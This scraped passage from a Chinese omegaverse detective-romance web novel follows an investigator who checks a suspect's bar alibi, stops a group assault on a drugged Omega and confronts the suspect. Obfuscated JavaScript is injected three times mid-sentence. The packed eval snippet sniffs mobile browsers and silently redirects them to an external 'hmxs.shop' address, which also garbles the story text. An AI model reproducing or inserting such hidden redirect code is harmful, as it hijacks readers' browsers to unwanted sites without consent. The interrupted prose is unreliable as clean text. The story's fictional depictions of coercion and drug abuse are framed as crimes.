他看了华兴珠一眼:“你能联系到老秦,别糊弄我,我知道你有渠道。” 华兴珠看着他这副模样,也知道自己瞒不住了:“嗯,我能。” 晏昭野:“你帮我给他捎句话。等我这次的嫌疑洗干净之后,他赶紧把我的‘卖身契’转到特调局去。我可不在他手底下干了。” “我今天早上都和张局说完了,他那边已经点头,说只要老秦肯放我,特调局就会收我。你就这么告诉老秦,这回不是他肯不肯放我的问题,他爱放不放,反正特调局我去定了。” 华兴珠看着他眼中的坚定,只得说:“行,我找机会和他说。” 远处的电梯“叮”一声轻响,顾凛序和晏川柏的身影一前一后走了出来。 晏昭野瞬间敛去所有外露的情绪,将断成两截的棒棒糖棍扔进旁边的垃圾桶,脸上又挂起那副惯有的笑容,快步迎了上去。 晏川柏一看到他,立刻板起脸,恶狠狠地低声训斥:“臭小子!给我听好了,之后老老实实配合顾调查官查案。你要是再敢惹是生非,给顾调查官添麻烦,看我不打断你的腿!” 他嘴上说得凶狠,眼神里却藏不住那份关切。 “知道了爸,您放心,”晏昭野拍了拍胸脯,“我肯定好好配合,绝对不给顾调查官添乱,更不会给您丢人。” 他的语气诚恳,带着一种让人安心的笃定。 顾凛序将这一幕看在眼里。这父子两个刚刚还在一楼上演“爹打儿子”的闹剧,此刻再见面,却是一个用严厉掩饰关心,一个用保证抚平担忧。 那股拧巴又深厚的亲情,在短短的对话里展露无遗,仿佛刚才的担忧和怒火都从未发生过,只剩下彼此心照不宣的牵挂。 和晏川柏道别,晏昭野跟着顾凛序走向停车位。 因为李俊荣和李俊义把公务车开走了,所以晏昭野这回用的是自己的车,担当起司机的工作。他快走两步,替顾凛序拉开副驾驶的车门。 等对方坐稳,他绕到驾驶座,一边系安全带一边问:“我们现在是回特调局吗?” 顾凛序划动着手机屏幕,头也没抬:“不用回去了。俊荣他们刚发来消息,说是查到你五月十六日下午的行踪了。” 晏昭野启动车子,随口道:“在哪儿?奇了怪了,我印象中那天下午好像一直在家睡觉来着。” 顾凛序从屏幕上抬起眼:“你确定?” 被他这么一看,晏昭野底气变得不足起来:“呃……你都这么说了,那我当然是不确定了。” “在‘云顶之上’,”顾凛序报出一个名字,收起手机,“我们直接去那里,帮你找不在场证明。” “云顶之上?”晏昭野握方向盘的手一紧。 云顶之上是城中最高端的会员制酒吧之一,坐落于金融区顶层,以极佳的视野、昂贵的酒水消费和严格的私密性著称,是许多富家子弟偏好的社交场所。 “这话该我问你吧,”顾凛序瞥了他一眼,“不知道昨天是谁在审讯室信誓旦旦,说自己连酒吧都不去了,馋了只会放自己的信息素闻味道。” “呃……那个……特殊情况特殊对待嘛,”晏昭野脸上闪过一丝尴尬,“而且我昨晚的原话是‘酒吧基本不去了’,是‘基本’,不是不去了。” 他一拍脑门,说:“我想起来了,我那天还真去过。你们是查到我银行卡在那里有消费记录了吧?” “对。”顾凛序的回应听不出情绪。 穹星生物的相关记录显示,5月16日晏昭野去原料库房的时间是21点20分,而晏昭野银行卡的消费记录是在23点38分。 云顶之上与穹星生物的距离不算近,去一趟不堵车的话也至少需要半个多小时。虽然这一条证据对晏昭野有利,但眼下没有其他证据能证实,这张银行卡是被晏昭野本人带去云顶之上的,所以顾凛序要去现场帮他找人证。 晏昭野为自己辩解:“我那天是因为心情差,想喝点酒排遣一下才去的,绝对不是去花天酒地。我保证。” 他这才想起来,自己5月16日还真一个人跑去云顶之上了,但原因既不是花天酒地,也不是心情差需要排遣,而是…… 不过真实原因他眼下还不能告诉顾凛序。 顾凛序没接话,只是将视线转向窗外,显然并不完全相信这套说辞。 “我错了,顾调查官,”晏昭野放软了语气,带着点讨好的意味,“我以后真的再也不去了,你监督我好不好?我要是再犯,我就给你做牛做马,任你差遣。” “不必,我哪敢劳动晏少爷为我做牛做马。”顾凛序这句话并没有讽刺的意思,但晏昭野听着很别扭,他以为对方生气了。 他在心里叹了口气,自己连“做牛做马”这种承诺都排不上号,看来要让顾凛序心甘情愿接受自己的标记,真是任重而道远啊。 正当他暗自感慨前路漫漫时,顾凛序却主动开口:“怎么了?感觉你的情绪不太对。” 晏昭野一怔,下意识否认:“没有啊。” 顾凛序多年来在工作和审讯中磨砺出的敏锐直觉,让他捕捉到晏昭野的情绪不如几个小时之前的样子。 他误以为晏昭野是在纠结去酒吧被戳穿的事,便向他说清自己话中的意思: “虽然我本人对这类场所有一些刻板印象,但偶尔去酒吧放松并不违法,我也不是要管你,也不是干涉你的私生活。” “只是这类场所人多眼杂,容易落人口实,甚至被别有用心之人利用,你往后去的时候最好谨慎一些。” 他的声音平稳,听不出半分责备,更像是在陈述客观事实。 晏昭野却急了,脱口而出道:“你不能不管我。” 顾凛序:“嗯?” 他觉得晏昭野好不讲道理,两头全让他占了。刚才因自己提及酒吧而不悦,现在表示不予干涉,他反倒更不满意了。 见顾凛序不答话,晏昭野更慌了,索性打转向灯将车靠边停下:“不行,你就是不能不管我。” “我在特调局待了一夜,清白都待没了,你得负责。我现在背着这么大的嫌疑还没洗清,你更不能撒手不管。” “别闹,”顾凛序听了这话,简直一个头两个大,“我既已经接手了这个案子,自然会查清真相。” “我没闹,”晏昭野本来想抓住他的袖口,指尖却在触碰到的前一刻蜷缩了一下,最后只小心翼翼地捏住制服外套的一个小边角,“顾凛序,你不能不管我。” 那股委屈快要凝成实质,从这句话里满溢出来。顾凛序正想将他那不安分的爪子拍开,动作却是一顿。 一股极淡的、却无法忽视的酒香,带着橡木桶的陈年质感,萦绕在他的鼻尖。 是晏昭野的威士忌信息素。 顾凛序恍然发现,这竟然是他第一次感受到晏昭野的信息素。 每个Alpha或Omega,除了易感期之外,在日常生活中也会散发出信息素。只要不带有目的性地刻意释放,这些气息通常很淡,仅作为个人标识存在。在社交场合,人们出于社交礼节,大多会对自己的信息素加以控制。 可晏昭野的信息素太淡了,淡到即便以顾凛序经过专门训练,对信息素远超常人的敏锐感知力,也直到此刻在对方情绪明显波动的关口,才终于捕捉到。 更让他惊讶的是,这股威士忌酒香虽然因晏昭野的情绪而逸散,却依旧保持着一种奇异的稳定感,没有丝毫攻击性或侵略意味,只是安静地存在着,像被封存多年的陈酒偶然泄露的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996129|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝芬芳。 是因为他是Enigma吗?所以对自身信息素的掌控力,天生就达到非常精妙的程度? 或许是吧,顾凛序在心里自问自答道。 他接触过的Enigma屈指可数,晏昭野是唯一一个与他产生如此多交集的Enigma,他只能将原因归结于此。 晏昭野居然会因为自己一句“不想管他”而产生这么大的情绪波动,以至于到了控制不住信息素的地步,这是顾凛序没想到的。 ……自己的言语和态度,在对方心里会有这般重的分量? 联想到之前在穹星生物走廊里的那番谈话,顾凛序认为自己找到了症结——晏昭野好似对去年的出言不逊始终心怀愧疚,觉得亏欠了自己。 因此即便自己明确表示过不介意那段录音,对方依然将这份歉意深埋心底,致使变得如此敏感,害怕被自己“放弃”。 想到这里,顾凛序看着晏昭野紧抿的嘴唇和那双写满不安的眼睛,放缓了语气道: “我没有不管你的意思。让你配合调查,我自然会对你负责到底,直到水落石出。你不必因为过去的事情感到负担,更不必因此看轻自己。” “在我这里,功过是非自有公断。你现在要做的是配合我查清真相,而不是在这里胡思乱想,妄自菲薄。” 晏昭野强调一遍:“那你可得说好,不许不管我。” 顾凛序妥协了:“嗯,行,管你。” 得到承诺的晏昭野一下子从阴转晴,嘴角控制不住地上扬。 顾凛序将他的表情转变看在眼里,内心升起疑惑: 去年的录音到底是怎么回事? 既然晏昭野对录音心怀愧疚,是不是说明这其中存在什么隐情? 可如果存在隐情,那事发至今他为什么不站出来解释? 不过这个念头只是在顾凛序的心里一闪而过。他没有问出口,因为他觉得现在问这个不是时候。 晏昭野随即想起正事,提议道:“我们两个换下外套吧,你穿着调查官制服去那种地方太扎眼了。” 顾凛序觉得有道理,便脱下制服外套,接过晏昭野那件质感不错的休闲外套穿上。 他看了一眼晏昭野身上单薄的黑色短袖:“你不用再穿一件?” 虽然现在是六月,但今年的气候升温缓慢,前两天还下了一场暴雨,天气里带着几分凉意。 “用不着,”晏昭野逞强没过两分钟,“……好吧,是有点凉。” “我后备箱有衣服,待会下车找一件就行,”他又从后座捞过来一顶黑色鸭舌帽和一个同色口罩,“你把这个也戴上,以防被拍到或者被别人看见。” 顾凛序依言戴上。当他换下笔挺的制服,穿上休闲外套。 再戴上帽子和口罩遮掩住大半面容后,制服所带来的那种调查官的疏离感和锐利感被柔化,让他整体看上去更像是一个气质出众的年轻Alpha,不再那么令人望而生畏。 晏昭野开车前往云顶之上。停好车后,他从后备箱里翻出一件外套穿上,款式和顾凛序身上那件一模一样,只是颜色不同。 顾凛序是第一次来这种地方。从外面瞧门脸并不起眼,看起来很低调,推门而入才发现里面别有洞天。 设计感极强的工业风混合着未来元素,灯光营造出热闹的氛围。由于是下午,还未到夜场最热闹的时候,场内人不多,音乐也相对舒缓。 晏昭野对这里很熟悉,轻车熟路地带着他往里走。 一个穿着侍者制服的Omega笑着迎上来打招呼:“哟,晏少爷?可是有阵子没见你来了。” 晏昭野简单同他打了个招呼,那Omega的目光好奇地转向旁边捂得严实的顾凛序。 虽然看不清脸,但对方优越的身高、挺拔的体态以及难掩存在感的气质,让他立刻判断出这是一位Alpha。 尽管晏昭野是这里的常客,但他往常要么是带着一群朋友喧闹,要么是独自来喝闷酒,像这样带着一个遮掩严实的人过来还是头一回。 Omega觉得很新鲜,笑着打趣道:“这是晏少爷新相处的Alpha吗?好帅啊,还和你穿情侣装呢。” 顾凛序:“……” 什么装? 他转头看向晏昭野,帽檐下的眼神带着询问:“嗯?” 12. 撞见发小E “你别听他瞎说,”晏昭野连忙摆手解释,“这款外套就这两种颜色,我都很喜欢,就一样各买了一件。” “啊啊啊对不起对不起,是我眼拙了。”Omega连连道歉。 他原本是想跟晏昭野开个玩笑,没想到马屁拍到了马蹄上。 顾凛序看向这位Omega:“你是这里的工作人员?” 这种问法太正式了,让Omega不由得升起疑心:“你是?” 顾凛序亮出证件:“带我去见你们负责人。” “联邦之盾!”Omega看清证件上的名字后,倒吸一口凉气。 晏昭野按住他肩膀:“小声点!” Omega惊疑不定地在两人之间来回看了几眼。虽然满腹疑问,但他还是识趣地没有多问:“好、好的,你们请跟我来。” 他带着他们找到值班经理,经理见到顾凛序的证件,紧张得语速飞快:“顾调查官!我们这里所有安全设施都定期检查,消防许可和经营资质都在有效期内,绝对合法合规。” “这些由市场监管和消防部门负责,”顾凛序对他说的内容并不关心,“我今天来是想调取你们这里五月十六日的监控记录。” “五月十六?”经理为难地搓了搓手,“顾调查官不好意思,我们的监控记录保存周期是二十天,那天的已经被覆盖了。” 顾凛序只好问:“有当天值班的人员名单吗?” “有的有的,”经理点头应道,“请您稍等,我这就去查排班表。” “不用查了,经理,那天我值班,”刚才那个Omega小声插话,“因为那天是我生日,所以记得很清楚。” “只有你一个人吗?”顾凛序转向他,“值班时间从几点到几点?” Omega报出几个名字:“我们几个人一起,从晚上八点到凌晨四点,中间我们轮流休息了半小时左右吧。” 顾凛序对经理说:“麻烦你帮我找到这几个人,我需要单独问他几个问题。” “明白,明白。”经理退了出去,轻轻带上门。 顾凛序看了眼还站在原地的晏昭野:“你也出去吧,在外面等我。” “啊,行。”晏昭野也出去了。 等室内只剩下两人,顾凛序问:“怎么称呼?” Omega绞着手指开口:“我姓高,叫高知乐。” 顾凛序取出录音笔和微型摄像机:“接下来我需要录音录像,不介意吧?” 高知乐好奇地打量了一眼这个只在电视剧和电影里见到过的摄像机:“不介意。” 顾凛序示意他坐下:“能保证你接下来说的话真实可靠,并愿意为此负责吗?” 高知乐只浅挨凳子的边缘:“能,我能。” “别紧张,只是了解一下情况,”顾凛序见他的样子很拘谨,便以闲聊的方式问,“你和晏昭野关系怎么样?” “关系?”高知乐想了想,“还行吧。” 顾凛序:“具体一点。” “就是普通的服务生和熟客的关系啊,”高知乐斟酌着用词,“他来了我会打招呼,偶尔聊两句,他心情好的时候会给些小费,但私下我和他没有交集,算不上多熟。” 顾凛序:“他不是这里的常客吗?你和他不熟?” “他是常客不假,”高知乐放松了些,“但我感觉他这人有点呃……怎么形容呢,他有点不属于这里?虽然经常来,可跟谁都像是隔着层什么。” “我们这里无论是热销的还是冷门的酒,他倒是都尝过。兴许信息素是威士忌的缘故,他和酒的关系比我们这些人更亲近。” 顾凛序:“你说的‘我们’是谁?是指其他的工作人员吗?” “不止,”高知乐不紧张了,话也变多了,“说句实在的,我感觉他跟他那些朋友也不算真熟。表面看着热闹,但仔细观察晏昭野很少真正融入他们,更像是在圈子边缘待着。” “像他这样的少爷,一般都是喊上朋友一起来玩,即使不喊朋友,身边也都会带个漂亮的Omega或Beta。只有他经常一个人来,就坐在角落里安安静静喝闷酒,一坐就是好几个小时。” 顾凛序微微蹙眉:“一个人坐好几个小时?” 偶尔一两次或许还能理解,他很难将“经常独自喝闷酒”这个形象与平日里那个张扬不羁的晏昭野联系起来。 在顾凛序的认知里,一个人长时间喝闷酒,往往是内心承受着巨大压力时的自我排遣。 ……难道晏昭野压力很大? “是的,”高知乐肯定地说,“不过现在来得没那么频繁了。” “自从去年那段录音风波后,他就不怎么和那些富二代朋友混了,反正我是没怎么见到过,只是偶尔自己过来坐坐。我曾经出于好奇还特意观察过他几次,发现他真的能那样一动不动地坐很久。” “所以五月十六日那天,他是独自来的?”顾凛序确认道。 “对,”高知乐回忆着,“大概是晚上九点刚过的时候到的。进来后和我们打了招呼,点了酒,就一个人坐在老位置,一直喝到十一点多,然后结账离开。” 顾凛序:“用的是银行卡结账?” 高知乐:“他用的我们店的会员卡,不过当时他的卡里余额显示不足,可能是用手机银行转账充值的吧。” “你确定他从九点到十一点,一直是一个人,没有离开过,也没有和任何人接触?”顾凛序追问细节。 “不能确定。毕竟我还要工作,没办法分神关注他,”高知乐谨慎回答道,“我只能说在我的印象里,他好像坐在老位置没有动过。” “他坐的老位置离我不算远,而且那个时间段我基本固定在一个区域忙碌,余光可以扫到他,待会我可以指给您看。我没见到他和别人交谈,就是喝酒、看手机和发呆吧。” 顾凛序又询问了当晚客流量、是否有其他异常等情况,高知乐都一一作答。 从对方的言谈举止和神情判断,顾凛序认为他的证词可信度较高。 同时,另外几位在5月16日上班的工作人员也过来了,都能为晏昭野在监控视频的时间段做出不在场证明,证实晏昭野那天就在云顶之上。 高知乐还带顾凛序找到晏昭野经常坐的位置,以及他和同事在那天工作的地方。 顾凛序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996130|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比对了一下距离,也能证实高知乐和其他工作人员可以用余光扫到晏昭野。 就在顾凛序询问进行时,门外等候的晏昭野碰上了熟人刘天川。 刘天川看起来喝了不少,脸上带着醉意,熟络地拍了下晏昭野的胳膊:“哟!晏昭野,可算见着你了!喊你多少回都不出来!” “嚯,B家这季限量款,”他新奇地摸了摸晏昭野的外套上,“可以啊!这你都能抢到!” 晏昭野这次没法像应付服务员那样应付过去了。刘天川的家里做能源生意,与晏家是世交,两人也算从小认识。 “我怎么敢出来?”晏昭野扯了扯嘴角,“去年网上那阵势你又不是没看见,我现在是能低调就低调。” “你怎么这个点就来了?”他左右望了望,“就你一个人?” “没,黄子皓组的局,”刘天川报了几个名字,“大家都在楼上包间呢,玩得挺刺激的,你要不要一起?” 刺激? “不了,”晏昭野不动声色地皱了皱眉,“我一会还有事,不待太久,你们玩得尽兴。” “行吧,”刘天川有些扫兴,目光随意一扫,越过晏昭野肩头,注意到往他们这边走来的顾凛序,“诶?那人怎么也跟你穿同款?B家现在这么好抢了吗?” 这时顾凛序正好结束问话,和高知乐走过来,在晏昭野身侧停下。 虽然帽檐和口罩遮住了大半张脸,但刘天川明显感觉到顾凛序冷淡的视线从自己身上扫过。 刘天川的身高本就矮,比晏昭野矮了一个头不止,平时最忌讳别人用这种居高临下的眼神看他。 此时再加上酒精上头,他的火气立刻窜了上来,冲着顾凛序扬了扬下巴:“你瞅谁呢?” 顾凛序:“……” 只用一眼他就看出,这是个标准的、被惯坏的真纨绔,游手好闲的富二代。相比之下晏昭野算得上积极向上了。 “他……”晏昭野纠结于如何向刘天川介绍顾凛序。 “你熟人?”刘天川不耐烦地打断,“你知道我最烦别人拿这种眼神瞧我。” 晏昭野:“……” 你自己个子矮,还能怪谁? 顾凛序压根没理会他的叫嚣,直接对晏昭野说:“问完了,走吧。” 这种无视的态度更是火上浇油,刘天川借着酒劲,口不择言地骂道:“装什么逼呢!穿个B家就了不起了?真的假的还不知道呢!你知不知道我是谁?” 他最近正沉迷于拳击课,自觉身手大有长进,话没说完就一拳朝顾凛序挥去。 晏昭野:“……” 他已经预见到了结局。 高知乐:“……” 他暗暗在心底为刘天川点蜡。 顾凛序连脚步都没挪动,在拳头即将碰到面门的瞬间,左手格开袭来的手腕,右手顺势扣住刘天川的肩膀向下一压,膝盖顶在他的后腰薄弱处。 整套动作快如闪电,刘天川还没反应过来,整个人就已经被死死按在了墙上,动弹不得。 冰冷的墙面贴着额头,刘天川的酒醒了大半,心里咯噔一下—— 坏了,踢到铁板了! 13. 头脑发晕A 但刘天川嘴上还不肯服软,挣扎着叫嚣道:“你他妈敢动我?知道我爹是谁吗?刘氏能源的董事长!你完了!” 顾凛序无视了他的威胁,只是偏头看向晏昭野,问话的语气平淡无波:“你朋友?” 晏昭野尴尬地摸了摸鼻子:“我发小。” 在刘天川的印象里,晏昭野和自己一样,向来是天不怕地不怕的主,没想到此刻竟会对这个Alpha怂成这样:“不是?晏昭野,这到底是谁啊?” 顾凛序空出一只手,亮出证件道:“联邦特调局调查官,顾凛序。你刚才的行为涉嫌妨碍公务、袭击调查官,现在跟我回局里一趟。让你父亲来特调局接人。” 刘天川吓傻了,张着嘴好半天才找回自己的声音,难以置信地看向晏昭野:“晏、晏昭野……你、你怎么会跟联邦之盾在一起?” 顾凛序一个眼神瞥过去:“不该问的别问。” 刘天川立即噤声,缩了缩脖子,像只鹌鹑似的。 “顾、顾调查官,”他小心翼翼地求饶,“您大人有大量,先松开我行不行?我知道错了,真知道错了……” 顾凛序松开了钳制。 刘天川一获得自由,赶忙往旁边挪了两步,离晏昭野和顾凛序远远的。他第一个动作是偷偷摸出手机,手指飞快地在屏幕上戳着些什么。 “你在给谁发消息?”顾凛序注意到他的小动作。 “没、没谁啊!就我爹!”刘天川手一抖,差不点把手机摔了,“我告诉我爹,我要被联邦之盾带走了,让他去特调局接我来……” 他的眼神闪烁,那鬼鬼祟祟的样子让顾凛序直觉这其中有猫腻。 奈何没有证据,且眼下还有更要紧的事情,顾凛序也不打算深究:“不必,特调局会有专人通知你父亲。” “是是是!好好好!”刘天川点头如捣蒜。 晏昭野看向顾凛序:“他要和我们一起回去吗?” 刘天川的语气里满是质疑:“晏昭野,你小子怎么还叛变了?!” 晏昭野连个眼神都懒得给他。 从刘天川不知死活朝顾凛序挥拳的那一刻起,他心里就只剩下了不悦。就算顾凛序自己不动手,他也会毫不犹豫地把这个不知天高地厚的发小摁在地上。 顾凛序正要开口安排:“我们先……” 话未说完,楼上突然传来一声巨大的、如同重物倒塌般的巨响,打断了他的话。 顾凛序警惕地看向声音来源,问道:“楼上是什么地方?” “全是高档包间,最低消费很高的那一类。”晏昭野解释道。 他隐约想到了些什么,目光若有所思地扫过一旁脸色发白的刘天川,没有说话。 就在这时,一个凄厉的Omega尖叫声划破空气: “救命啊——!!!” 顾凛序神情一肃,与晏昭野对视道:“我上去看看。” 晏昭野当机立断:“我和你一起。” 两个人迅速冲上二楼,只见走廊里一个衣衫不整的Omega正蜷缩在墙角崩溃大哭。 她身上布满青紫掐痕,嘴角破裂渗血,信息素失控地散发着甜腻到令人发晕的花香——这是被迫进入易感期的征兆。 顾凛序屏息凝神,强大的自制力让他隔绝了那足以扰乱Alpha心智的浓郁信息素。 身后的包间里晃出来几个衣着光鲜、却因酒精和Omega信息素影响而眼神浑浊、脸上泛着不正常的红色的纨绔Alpha。 领头的黄子皓烦躁地扯着领带,冷笑一声:“跑什么跑?快给老子滚回来!” 顾凛序快步上前,将瑟瑟发抖的Omega严实地护在身后:“强迫Omega,滥用诱导剂,你们知道自己触犯了多少条联邦法律吗?” 黄子皓收到刘天川通风报信时已经慌了神,这才让Omega钻空子逃了出来。 眼下见事情败露,他索性破罐子破摔地啐了一口:“联邦之盾什么时候也来管这种‘你情我愿’的买卖了?我们可是付了钱的!” 他特意加重了“你情我愿”几个字,企图混淆视听。 自己仍戴着帽子和口罩,黄子皓却能准确叫破他的身份,这让顾凛序意识到,刚才刘天川的小动作正是在向楼上报信。只可惜他当时只是问了一嘴,没有往下深究。 黄子皓见他沉默,看向一旁的晏昭野,语带挑衅:“啧,晏昭野,你怎么跟这种高高在上的高岭之花混到一起了?他懂什么人间乐趣?” 晏昭野眼神不善,没有回应。 黄子皓见状撕破脸,恶狠狠地威胁道:“晏昭野,你他妈要是还想在咱们这个圈子里混,今天就别多管闲事。否则别怪兄弟们以后不带你玩,让你彻底混不下去!” 说完,他招呼着身后那几个同样醉醺醺的Alpha,一拥而上,直接对顾凛序动了手。 顾凛序侧身避开迎面而来的一拳,手肘击向另一人的肋下,同时抬腿横扫,将第三个趁机从侧面扑来的Alpha绊倒在地。他的动作干净利落,一时间能以一对多不落下风。 走廊里乱作一团,拳脚相交的闷响、吃痛的闷哼和物品被撞倒的碎裂声不绝于耳。 晏昭野有意加入战局,却先注意到角落那个因为众多Alpha信息素混在一起,而身体不适的Omega。 他只好迅速扶起那个崩溃的Omega,将她护送下楼,安置在安全的大堂,嘱咐闻声赶来的经理照看,并联系了医院和特调局请求支援。 他简短地安慰了那个惊恐未定的Omega两句,确保她无碍后,转身折返楼上。 当他再次冲回二楼时,眼前的局势已然陷入僵持。顾凛序的身手毋庸置疑,但对方人数占优,而且都是些打架毫无章法、只凭一股狠劲的Alpha,耗时越长对他越不利。 顾凛序的帽子和口罩在打斗中脱落,呼吸略显急促,显然应对得并不轻松。 在交手间,他还注意到好几个Alpha在撕扯中露出的小臂、小腿皮肤上,都分布着数个暗红色的针眼。 ……他们已经给那个Omega注射了诱导剂,为何还要往自己身上扎针? 结合这些Alpha远超寻常的亢奋状态和近乎失控的攻击性,顾凛序隐隐有了猜测。 得出猜测让他分神了一秒,黄子皓胡乱挥出的一拳竟歪打正着砸在他前几日刚受伤的小臂上。 一阵剧痛袭来,顾凛序闷哼一声,格挡的动作不可避免地出现了一瞬的迟滞和变形。 就是现在! 黄子皓眼中凶光一闪,抓住这个破绽,另一只手的拳头带着风声,直冲躲避不及的顾凛序。 千钧一发之际—— 一股庞大、沉重、带着绝对压制力的Enigma信息素如同无形的海啸,席卷了整个二楼走廊。 时间仿佛凝固了。 那是醇厚到极致的威士忌酒香,不再是车内那若有若无的余韵,而是带着烈性与磅礴的力量感,蛮横地压过了空气中所有杂乱的信息素。 “扑通!” “呃啊……” 黄子皓和他那几个同伴如同被无形的重锤击中,双腿一软,接二连三地瘫倒在地,连挣扎都变得困难。 平时和晏昭野插科打诨惯了,以至于他们忘了这位玩伴是凌驾于Alpha之上的Enigma。 尽管他们放话不让晏昭野多管闲事,但事实上对方根本无需加入混战,单凭信息素的绝对压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996131|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制,就足以扭转战局。 然而这股针对他人的、充满攻击性的Enigma信息素,给顾凛序的感受却截然不同。 他清晰地感知到这股信息素的强大与压迫感,那是足以让任何Alpha本能地感到畏惧的气息。 但奇怪的是,他自身并没有感受到任何攻击性。浓郁到化不开的威士忌酒香包裹着他,非但没有引发排斥,反而让他产生了一种微醺般的错觉,头脑有些发晕。 顾凛序捏了一把小臂,疼痛让他从酒香和混战中抽离出注意力。 他的目光扫过现场,发现那个遭受虐待的Omega已不见踪影,想必是被晏昭野安全送下楼了。 这个发现让他心头猛地一跳,另一个不合常理的细节浮上脑海:那个Omega正处于被迫引发的易感期,信息素必然极不稳定,对Alpha是强烈的刺激,Enigma亦不例外。 晏昭野能将她安然送下楼,意味着他在近距离接触失控Omega时,自身的信息素没有因对方产生波动,所以他现在还能如此稳定、如此大量地释放出具有精确攻击性的信息素。 ……这绝不仅仅是Enigma的天赋所能解释的。 顾凛序否定了自己先前在车上的想法。 Enigma或许天生拥有更强的控制力,但要想在一个信息素失控的Omega面前完美地控制住自身信息素,不受丝毫影响,这需要极其严苛、极其专业的后天训练才能做到,就像他当年在联邦军校经历过的那些抗干扰训练一样。 晏昭野接受过这种特殊训练? 他是在什么时候?又是在什么地方?为了什么目的,接受了这样的训练? 一个巨大的疑团,在顾凛序心中升起。 晏昭野穿过跪倒一地的Alpha,冲到顾凛序的面前。他的目光落在顾凛序的左臂上,眉头紧锁:“你胳膊什么时候受的伤?” 顾凛序避而不答,只是确认后续安排:“医院和特调局联系了吗?” 晏昭野:“已经通知了。” 楼下传来密集而急促的脚步声,夹杂着医护人员的指令声。 “看来已经到了。”晏昭野望向楼梯口。 很快,李俊荣和李俊义带着几名队员冲了上来。空气中弥漫着极具压迫感的Enigma信息素,让他们本能地调动起自身信息素进行抵御。 他们看到现场的狼藉,脸色一变:“顾队!您没事吧?” “没事,”顾凛序摆了摆手,指向地上瘫软如泥的黄子皓等人,“先把这几个富二代带回局里仔细审问。我去医院看看那个Omega的情况。” “我和你一起去。”晏昭野接话。 顾凛序看了他一眼,没有反对,转身走向楼梯。 晏昭野便当他是默认了,快步跟上。 两人随救护车抵达医院。经过紧急处理,医生确认Omega除了皮外伤和受到严重惊吓外,信息素水平在药物帮助下已趋于稳定,暂无生命危险,此刻她因镇静剂的作用沉沉睡去。 顾凛序在病房外静静守了片刻,随后站起身,对靠在门边的晏昭野使了个眼色,示意他出去谈谈。 ……该来的总会来,晏昭野心里跟明镜似的。 他知道,顾凛序的情绪从他在云顶之上释放信息素那一刻起就不对劲了,这场谈话无可避免。 他们来到医院后院一个僻静的角落,傍晚的风吹拂着树叶,发出沙沙的轻响。 顾凛序平静发问:“你就没有什么想对我说的吗。” 晏昭野迎着他的目光,语气带着认错的诚恳:“有。我不该在旁边看着,没有第一时间帮你。” 顾凛序却说:“你知道我想听的不是这个。” 14. 死皮赖脸E 顾凛序并不介意晏昭野是否出手相助,因为在当时的情况下,那个陷入危险的Omega明显比他更需要帮助。 如果他能在打斗中借机同晏昭野说一句话,也一定会是让对方先去照看那个Omega。 晏昭野陷入了沉默。 顾凛序向前走了一小步,将话挑明:“那几个Alpha的状态到底是喝醉了,还是用了别的东西,你心里应该清楚,不用我多说。” “清楚,”晏昭野小声道,“他们用了违禁药物。” “你呢?”顾凛序的目光落在他的脸上,“有没有碰过?” “没有,”晏昭野答得很快,“绝对没有。” 顾凛序眼前浮现出那个Omega崩溃无助的模样,语气沉痛地说:“他们犯的罪行不止强迫Omega,滥用诱导剂这些。违禁药物不止毁人,更要人命。” “今天如果我没来,我就不会知道在这些光鲜亮丽的高档场所背后,竟然有人光明正大使用违禁药物。” “那名Omega肯定不是第一个。那些被当做玩物的弱者,他们的呼救声根本传不到外面。晏昭野,你和他们认识这么久,对这些龌龊勾当不可能一无所知吧。还是说你早就知道,却一直选择冷眼旁观?” 顾凛序的胸口堵着一股沉郁之气。晏昭野的沉默在他眼里,不亚于一种眼睁睁看着他人受害却无动于衷的漠然。 他身担“联邦之盾”这个称号,肩负着守护秩序与公正的职责,自认为成功构筑了一道坚固的防线,去拦截那些隐藏在阴影里的不公与罪恶。 可今天一个受害者就出现在自己的眼前,自己竟险些没能将她救下来。而那个他一度认为或许可以引导向正途、且对此抱有期待的人,却对这类罪恶的事件早已知情,并选择了沉默。 这让顾凛序感到深切的无力与失望,仿佛自己长久以来坚守的某些东西,在悄然间被侵蚀了一块。 晏昭野声音有些发干:“……我现在已经不和他们往来了。” 顾凛序的声音压得很低,却字字敲在对方心上:“你都说和他们划清界限了,可我为什么没见你揭露过半句?你的良心不会不安吗?” 会不安。 晏昭野在心里无声地回答。 会难受,会有遏制不住的冲动想要站出来阻止。 但…… 最终他只是垂下眼睫,低声说:“对不起。” 除了这三个字,他找不到任何能够在此刻说出口的话语。 